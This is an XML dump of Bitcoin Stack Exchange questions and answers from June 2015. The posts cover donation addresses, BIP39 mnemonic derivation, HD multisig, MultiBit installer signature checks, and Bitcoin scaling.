  <row Id="37771" PostTypeId="2" ParentId="37769" CreationDate="2015-06-03T15:27:51.597" Score="2" Body="&lt;p&gt;The &lt;em&gt;easiest&lt;/em&gt; way would be to create a wallet and to dedicate a single address from it to receiving donations. For the convenience of the donaters you could present it both as a QR-code and a bitcoin URI. As with Jonas' answer you wouldn't want other people to be able to change the information on the page where you provide the donation address, as someone might replace the donation address with their own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For improved privacy, you could replace the address with a new one every once in a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a more advanced, private setup check out &lt;a href=&quot;https://bitcoin.stackexchange.com/a/37770/5406&quot;&gt;Jonas' answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-06-04T14:36:58.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37772" PostTypeId="1" CreationDate="2015-06-03T18:01:35.273" Score="3" ViewCount="236" Body="&lt;p&gt;In the Bitcoin (0.10.0) source code I'm coming across the term &quot;trickle&quot;.&#xA;Could someone please give short but accurate explanations on following instances and tell what they're used for?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;bool fSendTrickle&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;bool fTrickleWait&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;CNode* pnodeTrickle&lt;/code&gt; ?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What is the general idea behind &quot;trickling&quot;?&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="24556" LastEditDate="2015-06-04T09:55:45.173" LastActivityDate="2015-06-04T09:55:45.173" Title="What is &quot;trickling&quot; in terms of bitcoin?" Tags="|network|bitcoin-core-development|message|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37773" PostTypeId="2" ParentId="37772" CreationDate="2015-06-03T19:26:20.283" Score="1" Body="&lt;p&gt;Trickle is a reference to how the node manages announcing other peers addresses. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-06-03T19:26:20.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37775" PostTypeId="2" ParentId="37765" CreationDate="2015-06-03T19:46:58.303" Score="2" Body="&lt;p&gt;I was able to answer my own question through the Nxt dev forum. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://nxtforum.org/general/peer-protocol-tcp-or-http/msg181766/&quot; rel=&quot;nofollow&quot;&gt;https://nxtforum.org/general/peer-protocol-tcp-or-http/msg181766/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding it  here for others that may have the same question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Up to version 1.4 Nxt used HTTP for peer communication. Starting with version 1.5 they are moving to WebSocket for peer communication&lt;/p&gt;&#xA;" OwnerUserId="25260" LastEditorUserId="25260" LastEditDate="2015-06-04T11:25:05.670" LastActivityDate="2015-06-04T11:25:05.670" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37776" PostTypeId="1" AcceptedAnswerId="37779" CreationDate="2015-06-04T00:00:44.473" Score="3" ViewCount="768" Body="&lt;p&gt;There seem to be some irregularities with Blockchain.info's transaction timestamp (aka &lt;code&gt;Received Time&lt;/code&gt;) for a set of blocks.  The transaction times are recorded with unix timestamps well into the future (2017, 2022, 2035, etc..)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, here is a &lt;a href=&quot;https://blockchain.info/tx/d2c39af85861f8cc1ee236919335f30f190ab2a9fcccf7bcaa9597432d7aa616&quot; rel=&quot;nofollow&quot;&gt;transaction&lt;/a&gt; in block 237173 with a timestamp of 2035-05-27 00:00:59.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the blocks that have transactions with a future &lt;code&gt;Received Time&lt;/code&gt; are as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;237173&#xA;237175&#xA;237180&#xA;237181&#xA;237182&#xA;237183&#xA;237184&#xA;237185&#xA;237186&#xA;237187&#xA;237188&#xA;237189&#xA;237190&#xA;237191&#xA;237192&#xA;237193&#xA;237194&#xA;237195&#xA;237196&#xA;237200&#xA;237201&#xA;237202&#xA;237210&#xA;237280&#xA;237945&#xA;237980&#xA;238008&#xA;238013&#xA;238038&#xA;238227&#xA;239127&#xA;240078&#xA;241223&#xA;260657&#xA;260819&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Are these valid transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If they are valid, how can I assign a valid timestamp to these transactions?  Would it be 'fair' to simply assign them the block's timestamp? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) From what I understand about the &lt;code&gt;Received Time&lt;/code&gt;, it represents the time that bc.info sees the transaction, so how can this this timestamp be occurring?  Is it a bug? &lt;/p&gt;&#xA;" OwnerUserId="24755" LastEditorUserId="24925" LastEditDate="2015-08-31T10:42:17.250" LastActivityDate="2015-12-01T05:41:07.673" Title="blockchain.info transaction timestamps set into the future" Tags="|transactions|blockchain.info|timestamp|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="37777" PostTypeId="1" AcceptedAnswerId="37781" CreationDate="2015-06-04T03:10:37.230" Score="3" ViewCount="1309" Body="&lt;p&gt;When talking about HD (BIP-32?) wallets, I hear talk of Multi Sig and Key Derivation / Chains. Is it possible to mix these two concepts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. I want to store the majority of my coins with a 2 of 3 multi sig wallet, but would like to store a small subset of coins in a child key derived from the 2 of 3 wallet such that if I the child key was compromised, I could use the parent 2 of 3 wallet to spend those funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible or am I speaking gibberish?&lt;/p&gt;&#xA;" OwnerUserId="3794" LastActivityDate="2015-06-16T17:00:35.847" Title="Multi Sig Sub Keys" Tags="|multi-signature|bip32-hd-wallets|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37778" PostTypeId="1" CreationDate="2015-06-04T03:32:23.177" Score="0" ViewCount="475" Body="&lt;p&gt;I'm trying to download Multibit from &lt;a href=&quot;https://multibit.org/community.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/community.html&lt;/a&gt; the Win 64 version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it consistently gives a 'The signature of multibit-0.5.18-windows-setup.exe is corrupt of invalid.'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is anyone else experiencing this?  Any Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="26768" LastActivityDate="2015-06-04T13:28:53.193" Title="Download of Multibit Windows 64 Bit has corrupt signature" Tags="|multibit|signature|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37779" PostTypeId="2" ParentId="37776" CreationDate="2015-06-04T05:26:19.410" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;1) Are these valid transactions?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2) If they are valid, how can I assign a valid timestamp to these&#xA;  transactions? Would it be 'fair' to simply assign them the block's&#xA;  timestamp? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can do anything. Yesterday I've timestamped them as 1905, today as 2048&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;3) From what I understand about the Received Time, it represents the&#xA;  time that bc.info sees the transaction, so how can this this timestamp&#xA;  be occurring? Is it a bug?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-06-04T05:26:19.410" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37780" PostTypeId="1" AcceptedAnswerId="37784" CreationDate="2015-06-04T06:57:24.807" Score="2" ViewCount="455" Body="&lt;p&gt;There is a &lt;a href=&quot;https://github.com/bip32JP/bip32JP.github.io/blob/master/test_JP_BIP39.json&quot; rel=&quot;nofollow&quot;&gt;json for unit tests of Japanese characters&lt;/a&gt; which I want to validate using Python, specifically with &lt;a href=&quot;https://github.com/simcity4242/pybitcointools&quot; rel=&quot;nofollow&quot;&gt;this fork of pybitcointools&lt;/a&gt;, which has bip39 functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unit tests from &lt;a href=&quot;https://github.com/simcity4242/pybitcointools/blob/master/test_bip39.py&quot; rel=&quot;nofollow&quot;&gt;Trezor's python-mnemonic test vectors&lt;/a&gt; work fine (in Python 2.7 IME), however, this is straightforward since there's no normalization of unicode dialectics and such, since all mnemonics are lower case English. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Japanese fields are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Entropy (hex)&lt;/li&gt;&#xA;&lt;li&gt;Mnemonic (Japanese)&lt;/li&gt;&#xA;&lt;li&gt;Password (Japanese, appears to be the same for all tests)&lt;/li&gt;&#xA;&lt;li&gt;Seed (hex, 64 bytes)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;xprv&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;entropy&lt;/code&gt; seeds &lt;code&gt;mnemonic (bip39?)&lt;/code&gt;, then &lt;code&gt;mnemonic&lt;/code&gt; | &lt;code&gt;password&lt;/code&gt; hashes to &lt;code&gt;Seed&lt;/code&gt;; &lt;code&gt;Seed&lt;/code&gt; then acts as the master key for the bip32 xprv? (correct me if I'm wrong!?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, assuming it's that straightforward... &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;em&gt;how is the Japanese unicode text &quot;normalized&quot;?&lt;/em&gt; (Is it just NKFD Unicode normalization, which &lt;a href=&quot;https://github.com/spesmilo/electrum/blob/master/lib/mnemonic.py%23L34&quot; rel=&quot;nofollow&quot;&gt;Electrum 2.0&lt;/a&gt; does?)&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;what does &quot;normal&quot; mean for Japanese?&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-06-04T11:09:58.400" Title="BIP39 Japanese Mnemonic vector unit test process" Tags="|development|python|testing|mnemonic-seed|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37781" PostTypeId="2" ParentId="37777" CreationDate="2015-06-04T07:10:12.497" Score="6" Body="&lt;p&gt;Yes, it's called HDM (Hierarchical-Deterministic-Multisig).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no standard, per se, and the main proponent (to the best of my knowledge) is/has been Vitalik Buterin, of Ethereum/Bitcoin Magazine fame. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's code in the Python &lt;em&gt;&lt;a href=&quot;https://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow noreferrer&quot;&gt;pybitcointools&lt;/a&gt;&lt;/em&gt; library which allows one to implement this on a low level. The functions are called:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;bip32_hdm_script&lt;/code&gt; and&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;bip32_hdm_addr&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The format is: &lt;code&gt;bip32_hdm_script([xprv1, xprv2, xprv3...], (0, 1..))&lt;/code&gt;, where the xprvs are as a list, and the integers proceeding it represent path derivation (&lt;strong&gt;NOTE: the ints must be a tuple&lt;/strong&gt;). So, &lt;code&gt;0,1&lt;/code&gt; means &lt;code&gt;k/0/1&lt;/code&gt;. Use &lt;code&gt;1+2**31&lt;/code&gt; for &lt;code&gt;1H&lt;/code&gt;. &lt;strong&gt;This function returns the multi-sig redeem script&lt;/strong&gt;, so you'll pipe it into &lt;code&gt;bip32_hdm_addr&lt;/code&gt; (which simply returns the p2sh addresses)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you'll also use the script to sign transactions. There's a &lt;a href=&quot;https://github.com/simcity4242/pybitcointools&quot; rel=&quot;nofollow noreferrer&quot;&gt;useful fork of pybitcointools available&lt;/a&gt; with added functionality and regular updates, which could be more useful in this endeavor (vs the sporadically updated source library). &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A similar question - &lt;strong&gt;&lt;em&gt;Clarification of BIP32 hierarchical deterministic multisig scripts&lt;/em&gt;&lt;/strong&gt; - was recently &lt;a href=&quot;https://bitcoin.stackexchange.com/q/36919/9382&quot;&gt;asked&lt;/a&gt; and &lt;a href=&quot;https://bitcoin.stackexchange.com/a/37087/9382&quot;&gt;answered&lt;/a&gt; by me too&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2015-06-16T17:00:35.847" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37782" PostTypeId="2" ParentId="37681" CreationDate="2015-06-04T08:40:12.413" Score="1" Body="&lt;p&gt;The answer here is escrow outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When one of the outputs is sent to escrow, the related addresses are listed in those arrays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example: &lt;a href=&quot;https://insight.bitpay.com/api/tx/09dd94f2c85262173da87a745a459007bb1eed6eeb6bfa238a0cd91a16cf7790&quot; rel=&quot;nofollow&quot;&gt;https://insight.bitpay.com/api/tx/09dd94f2c85262173da87a745a459007bb1eed6eeb6bfa238a0cd91a16cf7790&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A single output will be displayed to have multiple addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockcypher's API will show an address starting with 4 instead of multiple adresses. And output script type = pay-to-multi-pubkey-hash&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;      &quot;value&quot;: 10860,&#xA;      &quot;script&quot;: &quot;5121032487c2a32f7c8d57d2a93906a6457afd00697925b0e6e145d89af6d3bca330162102308673d16987eaa010e540901cc6fe3695e758c19f46ce604e174dac315e685a52ae&quot;,&#xA;      &quot;addresses&quot;: [&#xA;        &quot;4bkHBecr4EQvVUa8Lsa2kH6rGtvsC9AZ5Y&quot;&#xA;      ],&#xA;      &quot;script_type&quot;: &quot;pay-to-multi-pubkey-hash&quot;&#xA;    },&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="2995" LastEditDate="2015-06-04T08:54:20.620" LastActivityDate="2015-06-04T08:54:20.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37783" PostTypeId="2" ParentId="37778" CreationDate="2015-06-04T10:12:58.547" Score="1" Body="&lt;p&gt;There are various signatures tha you can use to ensure the integrity of your MultiBit downloads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 0.5.18 release notes have SHA256 hashes of the binaries:&#xA;&lt;a href=&quot;https://multibit.org/releases/multibit-0.5.18/release.txt&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/releases/multibit-0.5.18/release.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check the SHA256 hash of the file you have and it should match.&#xA;If it does NOT match then DO NOT USE it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try downloading it again from &lt;a href=&quot;https://multibit.org&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org&lt;/a&gt;. It could be that it the download failed.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2015-06-04T10:12:58.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37784" PostTypeId="2" ParentId="37780" CreationDate="2015-06-04T11:09:58.400" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So entropy seeds mnemonic (bip39?), then mnemonic | password hashes to Seed; Seed then acts as the master key for the bip32 xprv? (correct me if I'm wrong!?)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That sounds about right. Most of the process is well detailed in &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP-39&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;An SHA-256 is taken of the entropy, and the first &lt;code&gt;entropy_len_in_bits / 32&lt;/code&gt; bits of this hash are appended to the end of the entropy. The resulting entropy bit string is divisible into 11-bit-long chunks (it's no longer an integral number of bytes).&lt;/li&gt;&#xA;&lt;li&gt;Each 11-bit chunk is converted into one of 2&lt;sup&gt;11&lt;/sup&gt; mnemonic words.&lt;/li&gt;&#xA;&lt;li&gt;The words are joined by spaces. For display purposes in Japanese, these should be Unicode IDEOGRAPHIC SPACEs, &lt;code&gt;'\u3000'&lt;/code&gt;. If there's no need to display the mnemonic to the user, they can be &quot;normal&quot; SPACEs (&lt;code&gt;'\u0020'&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;The mnemonic sentence is &lt;a href=&quot;http://en.wikipedia.org/wiki/Unicode_equivalence#Normalization&quot; rel=&quot;nofollow noreferrer&quot;&gt;Unicode normalized&lt;/a&gt; in NFKD form. This converts any IDEOGRAPHIC SPACEs into SPACEs. It also changes some characters in some of the mnemonic words, therefore this step cannot be skipped. (The question &lt;em&gt;What is NFKD normalization?&lt;/em&gt; is a whole separate topic that's probably best asked elsewhere IMO....)&lt;/li&gt;&#xA;&lt;li&gt;The mnemonic sentence is converted into bytes via &lt;a href=&quot;http://en.wikipedia.org/wiki/UTF-8&quot; rel=&quot;nofollow noreferrer&quot;&gt;UTF-8 encoding&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The binary seed is computed as PBKDF2&lt;sub&gt;HMAC&lt;sub&gt;SHA512&lt;/sub&gt;&lt;/sub&gt;(key= &quot;mnemonic&quot; | passphrase, data=utf8_mnemonic, iterations=2048, out_bytes_length=64). The passphrase can be the empty string. It must first go through the same steps 4 and 5 as the mnemonic.&lt;/li&gt;&#xA;&lt;li&gt;(this part isn't detailed anywhere AFAIK) The master extended private key is constructed by using the first 32 bytes of the binary seed as the private key, and the last 32 bytes as the chaincode.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it just NKFD Unicode normalization, which Electrum 2.0 does?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Electrum 2.x does use NFKD normalization, but it also performs additional steps, such as removing spaces between Japanese words after step 4. It also uses a different key string in step 6, and a completely different process prior to step 4. See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/37176/how-does-electrum-make-a-keypair-out-of-a-seed#37180&quot;&gt;this answer&lt;/a&gt; for an implementation of Electrum 2.x's mnemonic-words-to-seed procedure in Python.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-06-04T11:09:58.400" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="37785" PostTypeId="1" CreationDate="2015-06-04T13:05:59.973" Score="7" ViewCount="11882" Body="&lt;p&gt;I'm studying the Bitcoin system and I'm wondering if there's a way to anonymously buy Bitcoin.&#xA;Is it possible to charge a wallet (e.g. with a credit card, PayPal account, by person, by snail mail, etc.), without being traceable?&#xA;Let's suppose I don't trust any website/person...&lt;/p&gt;&#xA;" OwnerUserId="26773" LastEditorUserId="26773" LastEditDate="2015-12-19T09:34:23.290" LastActivityDate="2015-12-28T07:12:45.840" Title="How to buy bitcoins anonymously" Tags="|buy-bitcoins|privacy|paypal|bitcoin-credit-card|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37786" PostTypeId="2" ParentId="37778" CreationDate="2015-06-04T13:28:53.193" Score="0" Body="&lt;p&gt;Signed Windows binaries have a &quot;main&quot; signature, and they can optionally have one or more &quot;countersignatures&quot;, typically from timestamping services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded the MultiBit Windows installer* from &lt;a href=&quot;https://multibit.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://multibit.org/&lt;/a&gt; and verified its GPG signature. The file I downloaded has a valid main signature, but it has an invalid countersignature because the timestamping countersigner's (COMODO's) certificate appears to have expired on May 10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the signature error message you're getting (right click the file, click Properties, click the Digital Signatures tab, click &quot;sha1&quot;, click Details) is &quot;One of the countersignatures is not valid&quot;, then it's &lt;em&gt;probably&lt;/em&gt; safe to install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;However I'd still strongly recommend you follow &lt;a href=&quot;https://bitcoin.stackexchange.com/users/888/jim618&quot;&gt;jim618&lt;/a&gt;'s advice&lt;/strong&gt; and verify the file via another means before running it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;*My download had an SHA-256 of: dc0c2ef689507c57347c0cbed58ea90fe12617a6fb026b308e81ec2127531b7e&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-06-04T13:28:53.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37789" PostTypeId="1" CreationDate="2015-06-04T15:59:36.637" Score="5" ViewCount="259" Body="&lt;p&gt;In regards to bitcoin, Peter Todd says: &quot;Fundamentally the tech itself does not scale. The whole idea of everyone knowing everything about every transaction, which is inherent to the trust model of bitcoin right now... that's simple: O(n^2) scaling. You just can't get away from that. No matter how much you push and pull that constant k value, you'll never get away from the fact that fundamentally it's O(n^2) scaling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;reference: &lt;a href=&quot;https://youtu.be/Td6fwuI7F7U?t=4m59s&quot; rel=&quot;nofollow&quot;&gt;https://youtu.be/Td6fwuI7F7U?t=4m59s&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume n represents number of transactions?&#xA;What does k represent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is Peter referring to &quot;Load&quot; scalability? &#xA;(wikipedia: The ability for a distributed system to easily expand and contract its resource pool to accommodate heavier or lighter loads or number of inputs. Alternatively, the ease with which a system or component can be modified, added, or removed, to accommodate changing load.)&lt;/p&gt;&#xA;" OwnerUserId="12311" LastEditorUserId="12311" LastEditDate="2015-06-06T05:18:14.193" LastActivityDate="2015-06-06T19:02:30.400" Title="Why do people say that bitcoin scales according to O(n^2)?" Tags="|block-size-increase|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37790" PostTypeId="2" ParentId="37789" CreationDate="2015-06-04T18:29:06.803" Score="2" Body="&lt;p&gt;n is the number of users. It is assumed that the number of transactions is Ө(n), and that the number of full nodes who must know all transactions is also Ө(n), so the total information (that needs to be propagated, verified and stored) is n*Ө(n) = Ө(n^2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The assumption about the nodes requires clarification according to context, because there is no actual need for the number of nodes to scale with n.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;k is the proportionality constant implicit in the Big Theta notation.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2015-06-06T19:02:30.400" LastActivityDate="2015-06-06T19:02:30.400" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="37791" PostTypeId="1" CreationDate="2015-06-04T20:23:16.343" Score="0" ViewCount="750" Body="&lt;p&gt;In terms of updating the codebase, bug response, new features etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who are the front runners that at least update at least once or twice a month? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an altcoin that doesn't even update their codebase or bug responses within a month should not qualify.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-06-06T14:05:19.063" Title="Is there a list of altcoin communities that has the most active developers?" Tags="|altcoin|community|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37792" PostTypeId="2" ParentId="37791" CreationDate="2015-06-04T20:33:35.300" Score="2" Body="&lt;p&gt;Coin Gecko (&lt;a href=&quot;https://www.coingecko.com/en&quot; rel=&quot;nofollow&quot;&gt;https://www.coingecko.com/en&lt;/a&gt;) has all sorts of metrics on what coins have active communities/developers. I'm not sure how exactly they measure each of these things, but it may be what you're looking for. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-06-04T20:33:35.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37794" PostTypeId="2" ParentId="19650" CreationDate="2015-06-05T01:02:40.143" Score="1" Body="&lt;p&gt;No, but there is a guide to building rippled on Windows: &lt;a href=&quot;https://wiki.ripple.com/Visual_Studio_2013_Build_Instructions&quot; rel=&quot;nofollow&quot;&gt;https://wiki.ripple.com/Visual_Studio_2013_Build_Instructions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note this, though:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We do not recommend Windows for rippled production use at this time. Currently, the Ubuntu platform has received the highest level of quality assurance, testing, and support.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's probably why they don't offer a windows build - they want people to use Ubuntu. Perhaps you could use a VM - that's essentially what the Docker suggestion does anyway.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-06-05T01:02:40.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37795" PostTypeId="1" CreationDate="2015-06-05T03:29:32.937" Score="2" ViewCount="606" Body="&lt;p&gt;I don't usually use linux but I'm looking to start using it more, if I can just figure out how to do anything. . .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Ubuntu on a usb, I've downloaded Electrum (from the site since I couldn't download python-pip or electrum through the terminal). So in the terminal I'm in the Electrum folder and trying to install electrum, but the message &lt;code&gt;Unable to locate package electrum&lt;/code&gt;. I think I need to &lt;code&gt;enable the component called 'universe'&lt;/code&gt; but I've had no luck with the &lt;a href=&quot;https://askubuntu.com/questions/148638/how-do-i-enable-the-universe-repository&quot;&gt;answers as depicted here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can offer any advice as to how or why I couldn't originally install pip, or why electrum won't work now I could really use the help. I need to make this wallet, and I've been trying for a very long stupid time trying to, and I have btc idly sitting by that need to go into a wallet. Sorry for such a basic question, but I'm running out of time with this. &lt;/p&gt;&#xA;" OwnerUserId="26783" LastEditorUserId="-1" LastEditDate="2017-04-13T12:23:01.473" LastActivityDate="2023-06-16T05:02:05.353" Title="Installing Electrum on a cold wallet linux usb" Tags="|electrum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37796" PostTypeId="1" AcceptedAnswerId="37814" CreationDate="2015-06-05T04:57:22.947" Score="2" ViewCount="1419" Body="&lt;p&gt;Does anyone know Satoshi Nakamoto's IP address(es)? The forums he posted on should be able to figure that out. He posted on &lt;a href=&quot;http://p2pfoundation.ning.com/profile/SatoshiNakamoto&quot; rel=&quot;nofollow&quot;&gt;p2pfoundation.org&lt;/a&gt;, &lt;a href=&quot;https://bitcointalk.org/index.php?action=profile;u=3&quot; rel=&quot;nofollow&quot;&gt;bitcointalk.org&lt;/a&gt;, and the &lt;a href=&quot;http://www.mail-archive.com/search?l=cryptography%40metzdowd.com&amp;amp;q=satoshi%20nakamoto&quot; rel=&quot;nofollow&quot;&gt;cryptography mail archive&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-06-05T23:26:04.520" Title="Satoshi's IP address(es)?" Tags="|satoshi-nakamoto|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37797" PostTypeId="1" AcceptedAnswerId="37805" CreationDate="2015-06-05T06:05:48.937" Score="3" ViewCount="81" Body="&lt;p&gt;A stress test was run on mainnet to see the effect of exponential demand in Tx volume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why can't a &lt;em&gt;testnet&lt;/em&gt; &quot;stress test&quot; be organised to look at the implications of the 20Mb block size (and other variables?) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't understand how there's so much speculation when a test environment would solve &lt;em&gt;some&lt;/em&gt; of it by delivering actual metrics. &lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-06-05T12:36:54.410" Title="Why can't the block size upgrade be trialed on testnet with an organised &quot;stress test&quot;" Tags="|testnet|testing|blockchain-fork|politics|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
